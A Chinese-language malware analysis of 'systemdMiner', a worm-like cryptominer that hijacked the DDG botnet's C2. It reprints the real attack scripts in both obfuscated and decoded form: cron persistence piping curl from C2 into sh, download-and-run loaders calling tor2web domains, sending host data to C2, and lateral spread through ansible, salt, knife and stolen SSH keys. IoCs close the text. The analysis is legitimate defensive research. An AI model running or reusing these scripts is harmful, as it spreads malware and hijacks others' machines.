fi
</code></pre><p>可以看到其目的是下载 <strong>systemd-analyze</strong> 并执行。</p><h3 id="3-4-systemd-analyze"><strong>3.4 systemd-analyze</strong></h3><p>前文提到， <strong>systemdMiner</strong> 目前的盈利手段是挖矿，而最终承担此任务的的矿机程序就是这个 <strong>systemd-analyze</strong> 。</p><p>此矿机程序也有与 <strong>systemdMiner</strong> 其他二进制程序相同的对抗分析的手段，不同的是它会把自己的进程命名为 6 位由大小写英文字母和数字组成的随机字符串。矿机程序中的 XMRig 相关字符串：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/xmrig_str.png" class="kg-image" alt loading="lazy" title="xmrig_str"></figure><p>挖矿的矿池(Or Proxy) 是攻击者自己控制的 IP，并非公共矿池，而且登录矿池所用的账号和密码均为 <code>"x"</code>，所以无法查到攻击者的挖矿获利情况。此矿机所用的挖矿账号、密码以及矿池(Or Proxy) 如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2019/04/miner_conf.png" class="kg-image" alt loading="lazy" title="miner_conf"></figure><p>经过排查，我们发现次矿机样本中涉及的两个矿池(Or Proxy) IP 对应的域名如下：</p><p>DomainDNS Recorde TypeIPRemarkpol-ice.ruA5.167.55.128一家俄罗斯冰淇淋公司ecosustain.infoA136.243.90.99European regional development Fund<br>资助的环保监测项目</p><p>上述两个都是正经网站的正经域名，所以我们怀疑是被黑客组织入侵了以后当做矿池(Or Proxy)。</p><h2 id="4-"><strong>4. 总结</strong></h2><p>综合以上分析以及针对 DDG.Mining.Botnet 一直以来的追踪分析，在技术细节方面， <strong>systemdMiner</strong> 和 DDG 之间只发现一处相似点：DDG 的配置数据下发 URI 为 <code>/slave</code> ，<strong>systemdMiner</strong> 的 Report URI 也是 <code>/slave</code> ，但这远不足以说明这两个团伙之间有什么联系。更何况 <strong>systemdMiner</strong> 还把 DDG 当作竞争对手而清除，而 DDG 的配置数据中也通过 hosts 文件屏蔽了 <strong>systemdMiner</strong> 的 C2 Domain。</p><p>所以我们认为，DDG 的主 C2 被 <strong>systemdMiner</strong> 的团伙入侵了。得手之后，<strong>systemdMiner</strong> 背后的团伙篡改了 DDG 的恶意 Shell 脚本，并把 DDG 主 C2 服务器上 DDG 的主样本替换成自己的恶意程序，从而经过 DDG 的下发通道把自己的恶意程序下发到 DDG 控制的肉鸡上。</p><p>在 systemdMiner 后续的更新中，还会把自己的矿机程序命名为类似于 DDG 样本的名字，比如 <strong>6Tx3Wq</strong>(同于DDG 矿机程序文件名)或者<strong>ddgs.4000 ，让人乍一看会误以为是 DDG 相关的恶意程序。</strong></p><h2 id="5-iocs"><strong>5. IoCs</strong></h2><p><strong>C&C Domain:</strong></p><pre><code>aptgetgxqs3secda.onion.ly
aptgetgxqs3secda.onion.pet
aptgetgxqs3secda.tor2web.fyi
aptgetgxqs3secda.onion.in.net
aptgetgxqs3secda.onion.mn
aptgetgxqs3secda.d2web.org
rapid7cpfqnwxodo.tor2web.fyi
rapid7cpfqnwxodo.onion.in.net
rapid7cpfqnwxodo.onion.ly
rapid7cpfqnwxodo.onion.pet
rapid7cpfqnwxodo.onion.mn
rapid7cpfqnwxodo.d2web.org
</code></pre><p><strong>MD5:</strong></p><pre><code>64315b604bd7a4b2886bba0e6e5176be
dd8202ac5e6a2f6c8638116aa09694d7
45e4d4671efcd1d9e502359c2fbbd6eb
aa83345c8cc3e7b41709f96bfb9844f8
9f3edaa64e912661cd03f1aa9d342162
aa83345c8cc3e7b41709f96bfb9844f8
4215f6306caa3b216295334538cad257
50da2fb3920bfedfeb9e3a58ca008779
ceaee3da774cc712dc735d38194b396e
8d9f26cd8358dce9f44ee7d30a96793f
4bff1a92e6adcfe48c8b0f42b21a5af6</code></pre> | 1. 概述
在最近的关于 DDG.Mining.Botnet v3021/v3022 版本的 威胁快讯 一文中，我们提到了 DDG 最近在用的主 C2:
119.9.106.27 AS45187|RACKSPACE-AP Rackspace IT Hosting AS IT Hosting Provider Hong Kong, HK|Hong Kong|China
2019.4.19 日凌晨，我们发现 DDG 更新了其配置数据(CfgVer:23)和恶意 Shell 脚本 i.sh，在 i.sh 脚本的最后新增了一段陌生的 Shell 代码，这段 Shell 代码会在失陷主机下载一套全新的恶意程序，之后就会脱离 DDG 的基础设施而独立运行、传播，在执行的过程中还会杀掉 DDG 的进程、清除 DDG 的 cron 配置。这套全新的恶意程序在短暂的传播过后，DDG 的上述主 C2 随即下线停止服务。
鉴于这一套恶意程序的多个恶意组件均以 systemd-<XXX> 的形式命名，我们把它命名为 systemdMiner 。systemdMiner 的恶意程序具有蠕虫特性，会利用 3 种手段传播自身，在入侵失陷主机后，最终会下载基于 XMRig 改写的矿机程序来挖矿牟利。
在 DDG 上述主 C2 下线期间，DDG 僵尸网络并没有消失。得益于它自身的 P2P 网络结构、其他 2 个备用 C2 和自身的系统驻留机制，DDG 整个僵尸网络还依然存活，每天活跃的 P2P Nodes 有 3000+。
直到 4.25 凌晨，DDG 才上线了 2 个新的 C2，并把版本号升级到 v4000，恢复如初。配置数据版本为 CfgVer:25 。DDG v4000 最新的配置数据中还会下发指令，篡改 hosts 文件，屏蔽 systemdMiner 的一组 C2 Domain。DDG v4000 的 2 个新 C2:
109.237.25.145 AS63949|LINODE-AP Linode, LLC|United Kingdom|London --> Main C&C
104.128.230.16 AS62217|VooServers_Ltd|United States|New York
systemdMiner 在 C2 基础设施、网络结构、恶意代码技术细节、传播方式、矿机程序等诸多方面与 DDG 完全不同：
* DDG 的基础设施由 1 个主 C2 IP 和 2~3 个备用 C2 IP 构成，而 systemdMiner 的基础设施是架设在暗网并通过类似 tor2web 的服务映射到公网的一组 C2 Domain 以及矿池(Or Proxy) IP；
* DDG 当前的网络结构是一个非典型的 P2P 网络结构——一组 C2 IP 和典型 P2P 网络结构相结合，而 systemdMiner 的网络结构则是传统的 C/S 结构；
* DDG 的主样本由 Go 语言编写，从诞生至今始终如此，配合一个恶意 Shell 脚本 i.sh 来运行，而 systemdMiner 的主样本都是 C 语言编写，除此之外，二者的主样本在主要功能、实现方式等代码细节方面也完全不同；
* DDG 目前的二进制样本都加了标准 UPX 壳，而 systemdMiner 的二进制样本加的壳都是变形 UPX 壳，没有很直观的 UPX 特征；
* DDG 的传播方式主要是利用 SSH 弱口令和 Redis 未授权访问漏洞来传播，systemdMiner 则有 3 中完全不同的传播手段；
* DDG 的矿机程序由 XMRig 直接编译而来，没有加壳，XMR Wallet 就硬编码在矿机程序中，sysmtedMiner 的矿机程序对 XMRig 源码做了明显改动，加了变形 UPX 壳，还没有暴露 XMR Wallet。
基于以上原因，我们认为是 systemdMiner 的团伙入侵了 DDG 的主 C2，并通过 DDG 的基础设施下发了自己的一套恶意程序，我们把这种黑吃黑的行为形容为借鸡下蛋。
systemdMiner 的 3 种传播手段：
1. 利用 YARN 未授权访问漏洞入侵主机；
2. 利用 *nix 自动化运维工具(salt/ansible/chef-knife)横向传播；
3. 利用失陷主机本地保存的 SSH 密钥传播自身。
systemdMiner 这一套恶意程序，涉及的多个二进制程序和 Shell 脚本，下文会一一剖析。各程序简介：
* systemd-login-ddg: 主样本，设置定时任务，横向传播以及 Download 其他样本并执行；
* ddgs.i686: 同上；
* ddgs.x86_64: 同上；
* systemd-login: 同上；
* systemd-login-h: 同上；
* cron.sh: 定时任务执行脚本，定期下载主样本并执行；
* systemd.sh: 更新主样本和矿机程序；
* systemd-resolve: 集成 YARN 未授权访问漏洞来横向传播；
* systemd-analyze: 矿机程序。
systemdMiner 真正的 C2 服务器架设在暗网中，并通过一组类似 tor2web 的服务映射到公网，来与恶意样本通信。通过 DNSMon 查看 systemdMiner 的几个 C2 Domain 最近的访问趋势如下：
2. DDG “下的蛋”——最后的配置数据和 Shell 脚本
DDG 最新的配置数据：
{CfgVer:23 Config:{Interval:60s} Miner:[{Exe:/tmp/6Tx3Wq Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6} {Exe:/tmp/qW3xT.6 Md5:42483ee317716f87687ddb79fedcb67b Url:/static/qW3xT.6}] Cmd:{AAredis:{Id:6071 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:6h GenLan:true GenAAA:false Timeout:1m Ports:[6379 6389 7379]} AAssh:{Id:2083 Version:3022 ShellUrl:http://119.9.106.27:8000/i.sh Duration:240h NThreads:0 IPDuration:12h GenLan:true GenAAA:false Timeout:1m Ports:[22 1987]} Sh:[{Id:1 Version:-1 Line:uptime Timeout:5s} {Id:707 Version:3022 Line:rm -rf /root/.ssh/authorized_keys /root/.systemd-login Timeout:600s} {Id:701 Version:3022 Line:crontab -r Timeout:600s} {Id:708 Version:3022 Line:echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com\n0.0.0.0 tor2web.io\n0.0.0.0 gitee.com\n0.0.0.0 w.21-3n.xyz\n0.0.0.0 w.3ei.xyz\n0.0.0.0 aptgetgxqs3secda.onion.ly\n0.0.0.0 aptgetgxqs3secda.onion.pet\n0.0.0.0 aptgetgxqs3secda.tor2web.fyi\n0.0.0.0 aptgetgxqs3secda.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.tor2web.fyi\n0.0.0.0 rapid7cpfqnwxodo.onion.in.net\n0.0.0.0 rapid7cpfqnwxodo.onion.ly\n0.0.0.0 rapid7cpfqnwxodo.onion.pet\n" >> /etc/hosts Timeout:600s} {Id:709 Version:-1 Line:rm -f /tmp/systemd /tmp/.systemd-login /tmp/.systemd-analyze /lib/systemd/systemd-login ~/.systemd-login Timeout:600s}] Killer:[{_msgpack:{} Id:606 Version:3020 Expr:/tmp/ddgs.(3011|3012|3013|3014|3015|3016|3017|3018) Timeout:60s}] LKProc:[]}}
最后下发的 i.sh 脚本：
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/15 * * * * (curl -fsSL http://119.9.106.27:8000/i.sh||wget -q -O- http://119.9.106.27:8000/i.sh) | sh" | crontab -
echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://119.9.106.27:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
cd /tmp
touch /usr/local/bin/writeable && cd /usr/local/bin/
touch /usr/libexec/writeable && cd /usr/libexec/
touch /usr/bin/writeable && cd /usr/bin/
rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
export PATH=$PATH:$(pwd)
ps auxf | grep -v grep | grep betsbce || rm -rf betsbce
if [ ! -f "betsbce" ]; then
curl -fsSL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) -o betsbce
fi
chmod +x betsbce
$(pwd)/betsbce || /usr/bin/betsbce || /usr/libexec/betsbce || /usr/local/bin/betsbce || betsbce || ./betsbce || /tmp/betsbce
ps auxf | grep -v grep | grep betsbcb | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcc | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep betsbcd | awk '{print $2}' | xargs kill -9
echo ZXhlYyAmPi9kZXYvbnVsbApzZWQgLWkgJy9yYXBpZC9kJyAvZXRjL2hvc3RzCnNlZCAtaSAnL2FwdGdlL2QnIC9ldGMvaG9zdHMKCmQoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luLWRkZwogICAgeT0vdG1wLy5zeXN0ZW1kLWxvZ2luCiAgICB3Z2V0IC1xVS0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAkMSR4IC1PJHkgfHwgY3VybCAtZnNTTGtBLSAkMSR4IC1vJHkKICAgIGNobW9kICt4ICR5OyR5CiAgICBzbGVlcCA1Cn0KCmlmICEgcHMgLXAgJChjYXQgL3RtcC8uWDFNLXVuaXgpOyB0aGVuCiAgICBkIGFwdGdldGd4cXMzc2VjZGEub25pb24ubHkKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS5vbmlvbi5wZXQKZmkKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGQgYXB0Z2V0Z3hxczNzZWNkYS50b3Iyd2ViLmZ5aSB8fCBkIGFwdGdldGd4cXMzc2VjZGEub25pb24uaW4ubmV0CmZpCgo=|base64 -d|bash
其实类似上述 i.sh 的 Shell 脚本文件在 4.19 日凌晨下发了多个，它们的主要区别是最后下载的 ddgs 样本另存为的文件名不同。注意 i.sh 脚本最后一段 Base64 编码过的字串，解码后是另外一段独立的 Shell 脚本：
exec &>/dev/null
sed -i '/rapid/d' /etc/hosts
sed -i '/aptge/d' /etc/hosts
d() {
x=/systemd-login-ddg
y=/tmp/.systemd-login
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 5
}
if ! ps -p $(cat /tmp/.X1M-unix); then
d aptgetgxqs3secda.onion.ly
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
d aptgetgxqs3secda.onion.pet
fi
if ! ps -p $(cat /tmp/.X1M-unix); then
d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net
fi
这段 Shell 脚本，首先检查 /tmp/.X1M-unix 文件里的进程号对应的进程是否存活，文件不存在或者进程不存活则尝试通过以下 URL 下载 systemd-login-ddg 文件并执行：
aptgetgxqs3secda.onion.ly/systemd-login-ddg
aptgetgxqs3secda.onion.pet/systemd-login-ddg
aptgetgxqs3secda.tor2web.fyi/systemd-login-ddg
aptgetgxqs3secda.onion.in.net/systemd-login-ddg
除此之外， i.sh 脚本中，以前 DDG 样本的下载 URL http://119.9.106.27:8000/static/3022/ddgs.$(uname -m) 下到的文件也被替换成 systemdMiner 相关的恶意程序。
这样一来，就可以通过 DDG 的这一波更新，下发 3 个 systemdMiner 的恶意程序：
1. systemd-login-ddg
2. ddgs.i686
3. ddgs.x86_64
3. systemdMiner 系列样本分析
3.1 systemd-login-ddg
systemd-login-ddg 是 systemdMiner 团伙通过 DDG 的网络基础设施下发的一个最主要的恶意程序，另外两个同时下发的 ddgs.i686 和 ddsg.x86_64 都是 systemd-login-ddg 的变种。顺着 systemd-login-ddg 的执行，后续还会涉及两个恶意程序，都是 systemd-login-ddg 的变种，区别在于部分 C2 Domain 设定不同，这些同类恶意程序有：
* systemd-login
* systemd-login-h
systemdMiner 相关的所有二进制样本，都由 musl-libc 编译而成。并且都用变形的 UPX 加了壳，壳代码改动很多，变形 UPX 壳的 Magic Number 为 0x7373622E(ASCII String: .bss ) ：
脱壳后，恶意程序在刚开始就会检查 LD_PRELOAD 和 PTRACE_TRACEME ，用来对抗针对性地调试和沙箱：
然后，systemd-login-ddg 会删除自身文件，创建守护进程并把进程号写入 /tmp/.X1M-unix 文件，进程名为 -bash：
接下来，systemd-login-ddg 会把下面的脚本保存到 /tmp/systemd 文件中：
#!/bin/bash
exec &>/dev/null
{echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuZnlpL2Nyb24uc2ggfHwgd2dldCAtcVUtIC1PLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0L2Nyb24uc2ggfHwgY3VybCAtZnNTTGtBLSByYXBpZDdjcGZxbnd4b2RvLm9uaW9uLmluLm5ldC9jcm9uLnNoICl8YmFzaAo=}|{base64,-d}|bash
上述脚本中的编码字串解码后如下：
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
sleep $((RANDOM % 600))
(wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.fyi/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.fyi/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.in.net/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.in.net/cron.sh )|bash
如果当前用户是 root ，样本还会探测 /lib/systemd/ 目录，并执行命令 cp -f /tmp/systemd /lib/systemd/systemd-login，用于开机启动。
然后，执行命令 mv -f /tmp/systemd ~/.systemd-login 把 systemd 文件移动到用户主目录并隐藏。
上面用来开机启动执行的脚本文件 /lib/systemd/systemd-login ，会从 C2 服务器下载 cron.sh 文件并执行。cron.sh 是经过高度混淆的 Shell 脚本，原始内容如下：
"${@%4}"$'\145v'${*%%5}al "$(rK=(\& \ ${*,,} l H \|${*//t5/&W} h n"${@//ar}" s \+${*##\(%} \!${!*} M${*^^} \. c 1${*##o} T 3"${@~~}" a${*~} w"${@%9Q}" g q \-${*#uo} \(${*,} \=${*##+C} \; O${*%JK} U"${@~}" 2$* \<${*%%3} y \} \:${@//_o/F} u e"${@}" r \/ L \{ o i k S"${@//Ao/W}" m f${@/s\`/\]} v${@%0$} A $'\xa'${*/Xr/>} \$${*/&T} b t"${@^^}" P x \) X p${*/u} d \>)&&for JS in 32${*#mP} 50"${@%%L}" 32${*%%b} 12${@} 1 0 55 34${@/~f/-\\} 54 32 43 34${*/^\{/T} 6 31 2"${@//s/x}" 2${*,,} 45"${@,,}" 32${*%E} 50 53${*//;\]/O} 37 33 48 1 49${*~} 44 14 3 22 46 49 44 14"${@,}" 3 30 34 47${@##+H} 38${*/j\!} 6 30 34${*%Oe} 7 47 38 6${*/P\}/\)s} 30${@%%DG} 34"${@%%J7}" 31$@ 7 33 34 47 38 6${*##Iq} 30 34${@} 31"${@%Z}" 7${*%G6} 33"${@}" 34 7${@^} 47 38 6${@%h} 30 34 31${@##fO} 7${*##R} 33 34 2${*~} 37"${@//q?}" 12 16 2${@//K/EH} 34 47${*//./_\}} 38 6 30 34 31 7${*^} 33$* 34"${@,}" 2${*~~} 37"${@/-/=}" 12${*~~} 16 2 34 7 47 38 6${*} 45 45 54 21 51$@ 1 36"${@##qh}" 45"${@^}" 1"${@,,}" 1${@/^z/o} 1 1 50 22${*~~} 34"${@##\`}" 7 28"${@,}" 7${@//L*/i} 48 32${*,} 41 54 20 2${@~~} 37${*#DF} 18${@//CK/\`\"} 38 6 45${*#A4} 1${*~~} 1 1${*//9S/d} 1 28"${@~~}" 22 34${@^} 48${*^} 41${@^^} 53 34${*/Y\}} 7 28 7 48${*##\"<} 32${*%v} 41${*#0m} 54 45${*^^} 1 1 1 1 17 18 32 48"${@^}" 1 20${*/-G} 19 25 20 1 20"${@}" 20 6 37${*^^} 20${*##C} 12${@,} 5${*//<Y} 32 12 39${@^^} 20${*%|} 12 32 33${*~~} 48 38 42${*^} 38 12${@//#/ML} 16 48 32${*^} 1${@^^} 46 13${*~} 46 50${*/Rg} 1 20 24 46"${@,,}" 28 1 4 4${*%g8} 1$@ 12"${@%%%S}" 31"${@}" 33"${@##6^}" 2 1 20 42 7${*~~} 40 35${!*} 39 44${@//y} 20 1${*~~} 46 13 46 50${@%m} 1"${@##Zk}" 20"${@//;O}" 37 46 28 45${*%dG} 1${*##>} 1 1${*^} 1 12 5${@%%?} 41 37${*~} 54 1 8${*,} 50${*,} 1"${@%%V}" 46${*%h6} 28${*%h7} 23 46${*~} 28"${@^^}" 45 29${@//5/1} 45 45 38 42 1${*//z/\(G} 9${@} 1 53 7 1${*//NU/;*} 20 53${*//My/_y} 1 46 21 27${*/?h/Y6} 1 34 48 41${!@} 53 34 11"${@//?\(/9}" 52"${@//:3}" 13${*~~} 10 20 31"${@#o}" 6${@#U} 38 50 51 23 1${*} 48${*##kx} 5${*/_/zi} 32${*} 6 45${!@} 1${@~~} 1 1${*^^} 1 54 1 16$@ 53 48${*##6} 18${*//T/q} 32 48"${@/Tc/&F}" 18${*/Y} 50 19 7${!@} 15${@^} 7 32${*~} 12 54 16 11${*%%&W} 37${*//2/\}#} 6${*//\}^/F} 38 37 6${!@} 11 38${*,} 6${*,,} 11 6${*/NM/F} 32 48 1"${@##r}" 4 4${*^^} 1${*#3} 54${@^^} 1"${@}" 16 53 48 18 32${@/\}\}} 48 18"${@^}" 50"${@^}" 19${@##d%} 7${!@} 15 7"${@}" 32${*/ve} 12${!*} 54${@^} 16 11 37 6${*^^} 38 37 6 11${*%s} 7 5 1 4"${@%77}" 4 1 54${@} 1${@/Rm} 16${!*} 53${*%36} 48${*^} 18"${@~}" 32${*//,/P} 48 18 50${@##@} 19"${@%b}" 7 15 7 32${*^^} 12 54 16 11${*^^} 48 37"${@//Ca}" 33"${@~~}" 26${*//5} 17 32${@//So} 47 11 42${*~} 28 38"${@^^}" 1 4 4${*,} 1 54 1${@//k?} 16${@/\\} 53 48 18$@ 32${@#\\} 48 18${@/9} 50 19 7${*#\`c} 15 7 32 12${*^} 54${@%\]} 16 11 48 37"${@#V6}" 33"${@^^}" 26${*%%T} 17${*^^} 32 47${@/f7/p} 11${*#+H} 38${*,} 37${*%%wo} 45${*/<} 42 38 45"${@~~}";do pr${*//<}i$'\x6e'\tf %s "${rK[$JS]}""${@/#}";done;)"
解混淆后的真面目：
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-login
y=/tmp/systemd
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
}
if ! ps -p $(< /tmp/.X1M-unix); then
d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.tor2web.io
fi
最后，systemd-login-ddg 会继续执行一系列经过 Base64 编码的 Shell 脚本。
3.1.1 Shell 脚本一：上报 C2，利用自动化运维工具传播
原始脚本经过 Base64 编码，解码后如下：
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
xssh() {
ssh -oBatchMode=yes -oConnectTimeout=5 -oPasswordAuthentication=no -oPubkeyAuthentication=yes -oStrictHostKeyChecking=no $1@$2 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
}
s1() {
x=/slave
y=($(whoami)_$(uname -m)_$(uname -n)_$(crontab -l|base64 -w0))
wget -qU- -O- --no-check-certificate --referer=$y $1$x || curl -fsSLkA- -e$y $1$x
}
s2() {
x=/systemd-resolve
y=/tmp/systemd-resolve
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
}
s3() {
if [ -x $(command -v ansible) ]; then
ansible all -m shell -a 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
fi
if [ -x $(command -v salt) ]; then
salt '*' cmd.run 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
fi
if [ -x $(command -v knife) ]; then
knife ssh 'name:*' 'echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4KCmMoKSB7CiAgICB4PS9zeXN0ZW1kLWxvZ2luCiAgICB5PS90bXAvLnN5c3RlbWQtbG9naW4KICAgIHdnZXQgLXFVLSAtLW5vLWNoZWNrLWNlcnRpZmljYXRlICQxJHggLU8keSB8fCBjdXJsIC1mc1NMa0EtICQxJHggLW8keQogICAgY2htb2QgK3ggJHk7JHkKICAgIHNsZWVwIDQKfQoKaWYgISBwcyAtcCAkKGNhdCAvdG1wLy5YMU0tdW5peCk7IHRoZW4KICAgIGMgcmFwaWQ3Y3BmcW53eG9kby50b3Iyd2ViLmZ5aSB8fCBjIHJhcGlkN2NwZnFud3hvZG8ub25pb24uaW4ubmV0CmZpCg==|base64 -d|bash'
fi
if [ -f $HOME/.ssh/id_rsa ] || [ -f $HOME/.ssh/id_dsa ] || [ -f $HOME/.ssh/id_ecdsa ] || [ -f $HOME/.ssh/id_ed25519 ]; then
hosts=$(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" ~/.bash_history /etc/hosts ~/.ssh/known_hosts |awk -F: {'print $2'}|sort|uniq ;awk {'print $1'} $HOME/.ssh/known_hosts|sort|uniq|grep -v =|sort|uniq)
for h in $hosts;do xssh root $h; xssh $USER $h & done
fi
}
s1 rapid7cpfqnwxodo.tor2web.fyi
s2 rapid7cpfqnwxodo.tor2web.fyi || s2 rapid7cpfqnwxodo.onion.in.net
s3
该脚本共有 3 个关键函数，作用分别是：
1. s1() : 向 rapid7cpfqnwxodo.tor2web.fyi/slave 上报失陷主机信息。把失陷主机的当前用户名、CPU 架构、主机名以及当前用户的 cron table 4 组信息，拼接接成一个字符串，经过 Base64 编码后，设置为 HTTP 请求的 referer vaule，以 HTTP GET 请求的方式发送到 C2；
2. s2(): 从 C2 下载 systemd-resolve 文件并执行，system-resolve 集成了 YARN 未授权访问漏洞的 Exp，并以此传播；
3. s3(): 利用 3 种 *nix 自动化运维工具 (ansible/salt/chef-knife) 和本机 SSH 密钥横向传播。横向传播用到的 Shell 脚本也经过了 Base64 编码，解码后如下：
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
c() {
x=/systemd-login
y=/tmp/.systemd-login
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 4
}
if ! ps -p $(cat /tmp/.X1M-unix); then
c rapid7cpfqnwxodo.tor2web.fyi || c rapid7cpfqnwxodo.onion.in.net
fi
3.1.2 Shell 脚本二：设定 cron 任务
原始脚本同样经过 Base64 编码，解码后如下：
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
c() {
if [ -x $(command -v crontab) ]; then
if [ $(crontab -l |grep REDIS00) ]; then
crontab -r
fi
if ((!EUID)); then
if [ ! -f "/etc/cron.d/systemd" ]; then
echo "0 * * * * root /lib/systemd/systemd-login" > /etc/cron.d/systemd
fi
if [ ! $(crontab -l |grep systemd-login) ]; then
(echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -
fi
else
if [ ! $(crontab -l |grep systemd-login) ]; then
(echo "0 * * * * ~/.systemd-login";crontab -l |sed '/wget/d'|sed '/curl/d')|crontab -
fi
fi
fi
}
c
